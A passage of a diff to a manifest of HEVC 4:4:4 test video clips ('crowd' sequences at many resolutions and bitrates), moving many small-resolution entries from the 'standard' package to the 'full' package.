   <entry key="hevc/yuv444/8bit/resolution/crowd_192x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17027,width=192,height=192,frame-rate=50,profile=,level=,bitrate=196280,package=standard</value>
+    <value>mime=video/hevc,size=17027,width=192,height=192,frame-rate=50,profile=,level=,bitrate=196280,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_192x256p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17152,width=192,height=256,frame-rate=50,profile=,level=,bitrate=197832,package=standard</value>
+    <value>mime=video/hevc,size=17152,width=192,height=256,frame-rate=50,profile=,level=,bitrate=197832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_192x288p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17216,width=192,height=288,frame-rate=50,profile=,level=,bitrate=198632,package=standard</value>
+    <value>mime=video/hevc,size=17216,width=192,height=288,frame-rate=50,profile=,level=,bitrate=198632,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_2048x1536p50f32_6200kbps.mp4">
     <value>mime=video/hevc,size=449237,width=2048,height=1536,frame-rate=50,profile=,level=,bitrate=5599184,package=full</value>
@@ -25203,19 +25203,19 @@
     <value>mime=video/hevc,size=1235936,width=2160,height=3840,frame-rate=50,profile=,level=,bitrate=15432920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_216x288p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17421,width=216,height=288,frame-rate=50,profile=,level=,bitrate=201200,package=standard</value>
+    <value>mime=video/hevc,size=17421,width=216,height=288,frame-rate=50,profile=,level=,bitrate=201200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_240x160p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16682,width=240,height=160,frame-rate=50,profile=,level=,bitrate=191968,package=standard</value>
+    <value>mime=video/hevc,size=16682,width=240,height=160,frame-rate=50,profile=,level=,bitrate=191968,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_240x240p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17507,width=240,height=240,frame-rate=50,profile=,level=,bitrate=202280,package=standard</value>
+    <value>mime=video/hevc,size=17507,width=240,height=240,frame-rate=50,profile=,level=,bitrate=202280,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_240x320p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18028,width=240,height=320,frame-rate=50,profile=,level=,bitrate=208784,package=standard</value>
+    <value>mime=video/hevc,size=18028,width=240,height=320,frame-rate=50,profile=,level=,bitrate=208784,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_240x360p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18344,width=240,height=360,frame-rate=50,profile=,level=,bitrate=212736,package=standard</value>
+    <value>mime=video/hevc,size=18344,width=240,height=360,frame-rate=50,profile=,level=,bitrate=212736,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_2560x1440p50f32_7300kbps.mp4">
     <value>mime=video/hevc,size=527925,width=2560,height=1440,frame-rate=50,profile=,level=,bitrate=6582784,package=full</value>
@@ -25227,85 +25227,85 @@
     <value>mime=video/hevc,size=521874,width=2560,height=3840,frame-rate=50,profile=,level=,bitrate=17360128,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_256x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16818,width=256,height=144,frame-rate=50,profile=,level=,bitrate=193656,package=standard</value>
+    <value>mime=video/hevc,size=16818,width=256,height=144,frame-rate=50,profile=,level=,bitrate=193656,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_256x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17188,width=256,height=192,frame-rate=50,profile=,level=,bitrate=198280,package=standard</value>
+    <value>mime=video/hevc,size=17188,width=256,height=192,frame-rate=50,profile=,level=,bitrate=198280,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_256x256p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17664,width=256,height=256,frame-rate=50,profile=,level=,bitrate=204232,package=standard</value>
+    <value>mime=video/hevc,size=17664,width=256,height=256,frame-rate=50,profile=,level=,bitrate=204232,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_264x352p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18327,width=264,height=352,frame-rate=50,profile=,level=,bitrate=212520,package=standard</value>
+    <value>mime=video/hevc,size=18327,width=264,height=352,frame-rate=50,profile=,level=,bitrate=212520,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_2880x3840p50f32_22100kbps.mp4">
-    <value>mime=video/hevc,size=268020,width=2880,height=3840,frame-rate=50,profile=,level=,bitrate=35607728,package=standard</value>
+    <value>mime=video/hevc,size=268020,width=2880,height=3840,frame-rate=50,profile=,level=,bitrate=35607728,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_288x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17451,width=288,height=192,frame-rate=50,profile=,level=,bitrate=201568,package=standard</value>
+    <value>mime=video/hevc,size=17451,width=288,height=192,frame-rate=50,profile=,level=,bitrate=201568,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_288x216p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17572,width=288,height=216,frame-rate=50,profile=,level=,bitrate=203080,package=standard</value>
+    <value>mime=video/hevc,size=17572,width=288,height=216,frame-rate=50,profile=,level=,bitrate=203080,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_288x288p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17771,width=288,height=288,frame-rate=50,profile=,level=,bitrate=205568,package=standard</value>
+    <value>mime=video/hevc,size=17771,width=288,height=288,frame-rate=50,profile=,level=,bitrate=205568,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_288x352p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18804,width=288,height=352,frame-rate=50,profile=,level=,bitrate=218480,package=standard</value>
+    <value>mime=video/hevc,size=18804,width=288,height=352,frame-rate=50,profile=,level=,bitrate=218480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_288x512p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=20329,width=288,height=512,frame-rate=50,profile=,level=,bitrate=237544,package=standard</value>
+    <value>mime=video/hevc,size=20329,width=288,height=512,frame-rate=50,profile=,level=,bitrate=237544,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_320x240p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17942,width=320,height=240,frame-rate=50,profile=,level=,bitrate=207712,package=standard</value>
+    <value>mime=video/hevc,size=17942,width=320,height=240,frame-rate=50,profile=,level=,bitrate=207712,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_320x320p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18171,width=320,height=320,frame-rate=50,profile=,level=,bitrate=210568,package=standard</value>
+    <value>mime=video/hevc,size=18171,width=320,height=320,frame-rate=50,profile=,level=,bitrate=210568,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_320x480p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=26121,width=320,height=480,frame-rate=50,profile=,level=,bitrate=309944,package=standard</value>
+    <value>mime=video/hevc,size=26121,width=320,height=480,frame-rate=50,profile=,level=,bitrate=309944,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_350x350p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=19551,width=350,height=350,frame-rate=50,profile=,level=,bitrate=227808,package=standard</value>
+    <value>mime=video/hevc,size=19551,width=350,height=350,frame-rate=50,profile=,level=,bitrate=227808,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_352x264p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18383,width=352,height=264,frame-rate=50,profile=,level=,bitrate=213224,package=standard</value>
+    <value>mime=video/hevc,size=18383,width=352,height=264,frame-rate=50,profile=,level=,bitrate=213224,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_352x288p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18267,width=352,height=288,frame-rate=50,profile=,level=,bitrate=211768,package=standard</value>
+    <value>mime=video/hevc,size=18267,width=352,height=288,frame-rate=50,profile=,level=,bitrate=211768,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_352x352p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=19252,width=352,height=352,frame-rate=50,profile=,level=,bitrate=224080,package=standard</value>
+    <value>mime=video/hevc,size=19252,width=352,height=352,frame-rate=50,profile=,level=,bitrate=224080,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_356x638p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34567,width=356,height=638,frame-rate=50,profile=,level=,bitrate=415512,package=standard</value>
+    <value>mime=video/hevc,size=34567,width=356,height=638,frame-rate=50,profile=,level=,bitrate=415512,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_356x640p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34592,width=356,height=640,frame-rate=50,profile=,level=,bitrate=415824,package=standard</value>
+    <value>mime=video/hevc,size=34592,width=356,height=640,frame-rate=50,profile=,level=,bitrate=415824,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_358x636p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34463,width=358,height=636,frame-rate=50,profile=,level=,bitrate=414208,package=standard</value>
+    <value>mime=video/hevc,size=34463,width=358,height=636,frame-rate=50,profile=,level=,bitrate=414208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_360x240p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18174,width=360,height=240,frame-rate=50,profile=,level=,bitrate=210608,package=standard</value>
+    <value>mime=video/hevc,size=18174,width=360,height=240,frame-rate=50,profile=,level=,bitrate=210608,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_360x480p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=26669,width=360,height=480,frame-rate=50,profile=,level=,bitrate=316800,package=standard</value>
+    <value>mime=video/hevc,size=26669,width=360,height=480,frame-rate=50,profile=,level=,bitrate=316800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_360x636p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34417,width=360,height=636,frame-rate=50,profile=,level=,bitrate=413632,package=standard</value>
+    <value>mime=video/hevc,size=34417,width=360,height=636,frame-rate=50,profile=,level=,bitrate=413632,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_360x638p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34522,width=360,height=638,frame-rate=50,profile=,level=,bitrate=414944,package=standard</value>
+    <value>mime=video/hevc,size=34522,width=360,height=638,frame-rate=50,profile=,level=,bitrate=414944,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_360x640p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34562,width=360,height=640,frame-rate=50,profile=,level=,bitrate=415456,package=standard</value>
+    <value>mime=video/hevc,size=34562,width=360,height=640,frame-rate=50,profile=,level=,bitrate=415456,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_3840x2160p50f32_16500kbps.mp4">
     <value>mime=video/hevc,size=1217145,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=15198032,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_384x512p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=27787,width=384,height=512,frame-rate=50,profile=,level=,bitrate=330768,package=standard</value>
+    <value>mime=video/hevc,size=27787,width=384,height=512,frame-rate=50,profile=,level=,bitrate=330768,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_4096x2304p50f32_18800kbps.mp4">
     <value>mime=video/hevc,size=1426497,width=4096,height=2304,frame-rate=50,profile=,level=,bitrate=17814920,package=full</value>
@@ -25317,190 +25317,190 @@
     <value>mime=video/hevc,size=1836740,width=4160,height=3120,frame-rate=50,profile=,level=,bitrate=22942960,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_472x472p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34584,width=472,height=472,frame-rate=50,profile=,level=,bitrate=415736,package=standard</value>
+    <value>mime=video/hevc,size=34584,width=472,height=472,frame-rate=50,profile=,level=,bitrate=415736,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_480x320p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=26165,width=480,height=320,frame-rate=50,profile=,level=,bitrate=310496,package=standard</value>
+    <value>mime=video/hevc,size=26165,width=480,height=320,frame-rate=50,profile=,level=,bitrate=310496,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_480x360p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=26756,width=480,height=360,frame-rate=50,profile=,level=,bitrate=317880,package=standard</value>
+    <value>mime=video/hevc,size=26756,width=480,height=360,frame-rate=50,profile=,level=,bitrate=317880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_480x480p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34660,width=480,height=480,frame-rate=50,profile=,level=,bitrate=416680,package=standard</value>
+    <value>mime=video/hevc,size=34660,width=480,height=480,frame-rate=50,profile=,level=,bitrate=416680,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_480x640p50f32_600kbps.mp4">
-    <value>mime=video/hevc,size=49237,width=480,height=640,frame-rate=50,profile=,level=,bitrate=598896,package=standard</value>
+    <value>mime=video/hevc,size=49237,width=480,height=640,frame-rate=50,profile=,level=,bitrate=598896,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_480x720p50f32_600kbps.mp4">
-    <value>mime=video/hevc,size=50232,width=480,height=720,frame-rate=50,profile=,level=,bitrate=611336,package=standard</value>
+    <value>mime=video/hevc,size=50232,width=480,height=720,frame-rate=50,profile=,level=,bitrate=611336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_480x848p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=63555,width=480,height=848,frame-rate=50,profile=,level=,bitrate=777968,package=standard</value>
+    <value>mime=video/hevc,size=63555,width=480,height=848,frame-rate=50,profile=,level=,bitrate=777968,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_512x288p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=20276,width=512,height=288,frame-rate=50,profile=,level=,bitrate=236880,package=standard</value>
+    <value>mime=video/hevc,size=20276,width=512,height=288,frame-rate=50,profile=,level=,bitrate=236880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_512x384p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=27634,width=512,height=384,frame-rate=50,profile=,level=,bitrate=328856,package=standard</value>
+    <value>mime=video/hevc,size=27634,width=512,height=384,frame-rate=50,profile=,level=,bitrate=328856,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_512x512p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=41819,width=512,height=512,frame-rate=50,profile=,level=,bitrate=506168,package=standard</value>
+    <value>mime=video/hevc,size=41819,width=512,height=512,frame-rate=50,profile=,level=,bitrate=506168,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_528x704p50f32_700kbps.mp4">
-    <value>mime=video/hevc,size=57380,width=528,height=704,frame-rate=50,profile=,level=,bitrate=700680,package=standard</value>
+    <value>mime=video/hevc,size=57380,width=528,height=704,frame-rate=50,profile=,level=,bitrate=700680,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_576x1024p50f32_1100kbps.mp4">
-    <value>mime=video/hevc,size=87538,width=576,height=1024,frame-rate=50,profile=,level=,bitrate=1077744,package=standard</value>
+    <value>mime=video/hevc,size=87538,width=576,height=1024,frame-rate=50,profile=,level=,bitrate=1077744,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_576x704p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=64643,width=576,height=704,frame-rate=50,profile=,level=,bitrate=791472,package=standard</value>
+    <value>mime=video/hevc,size=64643,width=576,height=704,frame-rate=50,profile=,level=,bitrate=791472,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_576x720p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=64773,width=576,height=720,frame-rate=50,profile=,level=,bitrate=793096,package=standard</value>
+    <value>mime=video/hevc,size=64773,width=576,height=720,frame-rate=50,profile=,level=,bitrate=793096,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_600x800p50f32_900kbps.mp4">
-    <value>mime=video/hevc,size=71314,width=600,height=800,frame-rate=50,profile=,level=,bitrate=874856,package=standard</value>
+    <value>mime=video/hevc,size=71314,width=600,height=800,frame-rate=50,profile=,level=,bitrate=874856,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_636x358p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34917,width=636,height=358,frame-rate=50,profile=,level=,bitrate=419880,package=standard</value>
+    <value>mime=video/hevc,size=34917,width=636,height=358,frame-rate=50,profile=,level=,bitrate=419880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_636x360p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35080,width=636,height=360,frame-rate=50,profile=,level=,bitrate=421920,package=standard</value>
+    <value>mime=video/hevc,size=35080,width=636,height=360,frame-rate=50,profile=,level=,bitrate=421920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_638x356p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34902,width=638,height=356,frame-rate=50,profile=,level=,bitrate=419696,package=standard</value>
+    <value>mime=video/hevc,size=34902,width=638,height=356,frame-rate=50,profile=,level=,bitrate=419696,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_638x360p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34938,width=638,height=360,frame-rate=50,profile=,level=,bitrate=420144,package=standard</value>
+    <value>mime=video/hevc,size=34938,width=638,height=360,frame-rate=50,profile=,level=,bitrate=420144,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_640x356p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34939,width=640,height=356,frame-rate=50,profile=,level=,bitrate=420160,package=standard</value>
+    <value>mime=video/hevc,size=34939,width=640,height=356,frame-rate=50,profile=,level=,bitrate=420160,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_640x358p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34950,width=640,height=358,frame-rate=50,profile=,level=,bitrate=420296,package=standard</value>
+    <value>mime=video/hevc,size=34950,width=640,height=358,frame-rate=50,profile=,level=,bitrate=420296,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_640x360p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34959,width=640,height=360,frame-rate=50,profile=,level=,bitrate=420424,package=standard</value>
+    <value>mime=video/hevc,size=34959,width=640,height=360,frame-rate=50,profile=,level=,bitrate=420424,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_640x480p50f32_600kbps.mp4">
-    <value>mime=video/hevc,size=49277,width=640,height=480,frame-rate=50,profile=,level=,bitrate=599400,package=standard</value>
+    <value>mime=video/hevc,size=49277,width=640,height=480,frame-rate=50,profile=,level=,bitrate=599400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_640x640p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=64283,width=640,height=640,frame-rate=50,profile=,level=,bitrate=786968,package=standard</value>
+    <value>mime=video/hevc,size=64283,width=640,height=640,frame-rate=50,profile=,level=,bitrate=786968,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_640x848p50f32_1000kbps.mp4">
-    <value>mime=video/hevc,size=79700,width=640,height=848,frame-rate=50,profile=,level=,bitrate=979784,package=standard</value>
+    <value>mime=video/hevc,size=79700,width=640,height=848,frame-rate=50,profile=,level=,bitrate=979784,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_64x1080p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17216,width=64,height=1080,frame-rate=50,profile=,level=,bitrate=198736,package=standard</value>
+    <value>mime=video/hevc,size=17216,width=64,height=1080,frame-rate=50,profile=,level=,bitrate=198736,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_64x1280p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17170,width=64,height=1280,frame-rate=50,profile=,level=,bitrate=198360,package=standard</value>
+    <value>mime=video/hevc,size=17170,width=64,height=1280,frame-rate=50,profile=,level=,bitrate=198360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_64x1920p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17420,width=64,height=1920,frame-rate=50,profile=,level=,bitrate=201480,package=standard</value>
+    <value>mime=video/hevc,size=17420,width=64,height=1920,frame-rate=50,profile=,level=,bitrate=201480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_64x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=14668,width=64,height=64,frame-rate=50,profile=,level=,bitrate=168000,package=standard</value>
+    <value>mime=video/hevc,size=14668,width=64,height=64,frame-rate=50,profile=,level=,bitrate=168000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_64x720p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16652,width=64,height=720,frame-rate=50,profile=,level=,bitrate=191680,package=standard</value>
+    <value>mime=video/hevc,size=16652,width=64,height=720,frame-rate=50,profile=,level=,bitrate=191680,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_64x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15275,width=64,height=96,frame-rate=50,profile=,level=,bitrate=174584,package=standard</value>
+    <value>mime=video/hevc,size=15275,width=64,height=96,frame-rate=50,profile=,level=,bitrate=174584,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_704x528p50f32_700kbps.mp4">
-    <value>mime=video/hevc,size=57059,width=704,height=528,frame-rate=50,profile=,level=,bitrate=696672,package=standard</value>
+    <value>mime=video/hevc,size=57059,width=704,height=528,frame-rate=50,profile=,level=,bitrate=696672,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_704x576p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=64312,width=704,height=576,frame-rate=50,profile=,level=,bitrate=787336,package=standard</value>
+    <value>mime=video/hevc,size=64312,width=704,height=576,frame-rate=50,profile=,level=,bitrate=787336,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_704x704p50f32_900kbps.mp4">
-    <value>mime=video/hevc,size=72905,width=704,height=704,frame-rate=50,profile=,level=,bitrate=894744,package=standard</value>
+    <value>mime=video/hevc,size=72905,width=704,height=704,frame-rate=50,profile=,level=,bitrate=894744,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_720x1280p50f32_1800kbps.mp4">
-    <value>mime=video/hevc,size=138638,width=720,height=1280,frame-rate=50,profile=,level=,bitrate=1716400,package=standard</value>
+    <value>mime=video/hevc,size=138638,width=720,height=1280,frame-rate=50,profile=,level=,bitrate=1716400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_720x480p50f32_600kbps.mp4">
-    <value>mime=video/hevc,size=50286,width=720,height=480,frame-rate=50,profile=,level=,bitrate=612008,package=standard</value>
+    <value>mime=video/hevc,size=50286,width=720,height=480,frame-rate=50,profile=,level=,bitrate=612008,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_720x576p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=64605,width=720,height=576,frame-rate=50,profile=,level=,bitrate=791000,package=standard</value>
+    <value>mime=video/hevc,size=64605,width=720,height=576,frame-rate=50,profile=,level=,bitrate=791000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_720x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17275,width=720,height=64,frame-rate=50,profile=,level=,bitrate=199368,package=standard</value>
+    <value>mime=video/hevc,size=17275,width=720,height=64,frame-rate=50,profile=,level=,bitrate=199368,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_720x720p50f32_1000kbps.mp4">
-    <value>mime=video/hevc,size=79695,width=720,height=720,frame-rate=50,profile=,level=,bitrate=979624,package=standard</value>
+    <value>mime=video/hevc,size=79695,width=720,height=720,frame-rate=50,profile=,level=,bitrate=979624,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_720x960p50f32_1300kbps.mp4">
-    <value>mime=video/hevc,size=102639,width=720,height=960,frame-rate=50,profile=,level=,bitrate=1266520,package=standard</value>
+    <value>mime=video/hevc,size=102639,width=720,height=960,frame-rate=50,profile=,level=,bitrate=1266520,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_72x128p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15050,width=72,height=128,frame-rate=50,profile=,level=,bitrate=171672,package=standard</value>
+    <value>mime=video/hevc,size=15050,width=72,height=128,frame-rate=50,profile=,level=,bitrate=171672,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_72x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15242,width=72,height=96,frame-rate=50,profile=,level=,bitrate=174272,package=standard</value>
+    <value>mime=video/hevc,size=15242,width=72,height=96,frame-rate=50,profile=,level=,bitrate=174272,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_768x1024p50f32_1500kbps.mp4">
-    <value>mime=video/hevc,size=117911,width=768,height=1024,frame-rate=50,profile=,level=,bitrate=1457408,package=standard</value>
+    <value>mime=video/hevc,size=117911,width=768,height=1024,frame-rate=50,profile=,level=,bitrate=1457408,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_800x600p50f32_900kbps.mp4">
-    <value>mime=video/hevc,size=72529,width=800,height=600,frame-rate=50,profile=,level=,bitrate=890048,package=standard</value>
+    <value>mime=video/hevc,size=72529,width=800,height=600,frame-rate=50,profile=,level=,bitrate=890048,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_800x800p50f32_1200kbps.mp4">
-    <value>mime=video/hevc,size=94918,width=800,height=800,frame-rate=50,profile=,level=,bitrate=1170008,package=standard</value>
+    <value>mime=video/hevc,size=94918,width=800,height=800,frame-rate=50,profile=,level=,bitrate=1170008,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_848x480p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=64240,width=848,height=480,frame-rate=50,profile=,level=,bitrate=786432,package=standard</value>
+    <value>mime=video/hevc,size=64240,width=848,height=480,frame-rate=50,profile=,level=,bitrate=786432,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_848x640p50f32_1000kbps.mp4">
-    <value>mime=video/hevc,size=80112,width=848,height=640,frame-rate=50,profile=,level=,bitrate=984832,package=standard</value>
+    <value>mime=video/hevc,size=80112,width=848,height=640,frame-rate=50,profile=,level=,bitrate=984832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_848x848p50f32_1400kbps.mp4">
-    <value>mime=video/hevc,size=109815,width=848,height=848,frame-rate=50,profile=,level=,bitrate=1356224,package=standard</value>
+    <value>mime=video/hevc,size=109815,width=848,height=848,frame-rate=50,profile=,level=,bitrate=1356224,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_960x1280p50f32_2400kbps.mp4">
-    <value>mime=video/hevc,size=179792,width=960,height=1280,frame-rate=50,profile=,level=,bitrate=2230824,package=standard</value>
+    <value>mime=video/hevc,size=179792,width=960,height=1280,frame-rate=50,profile=,level=,bitrate=2230824,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_960x1440p50f32_2700kbps.mp4">
-    <value>mime=video/hevc,size=202433,width=960,height=1440,frame-rate=50,profile=,level=,bitrate=2513832,package=standard</value>
+    <value>mime=video/hevc,size=202433,width=960,height=1440,frame-rate=50,profile=,level=,bitrate=2513832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_960x640p50f32_1200kbps.mp4">
-    <value>mime=video/hevc,size=94729,width=960,height=640,frame-rate=50,profile=,level=,bitrate=1167544,package=standard</value>
+    <value>mime=video/hevc,size=94729,width=960,height=640,frame-rate=50,profile=,level=,bitrate=1167544,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/resolution/crowd_960x720p50f32_1300kbps.mp4">
-    <value>mime=video/hevc,size=102915,width=960,height=720,frame-rate=50,profile=,level=,bitrate=1269872,package=standard</value>
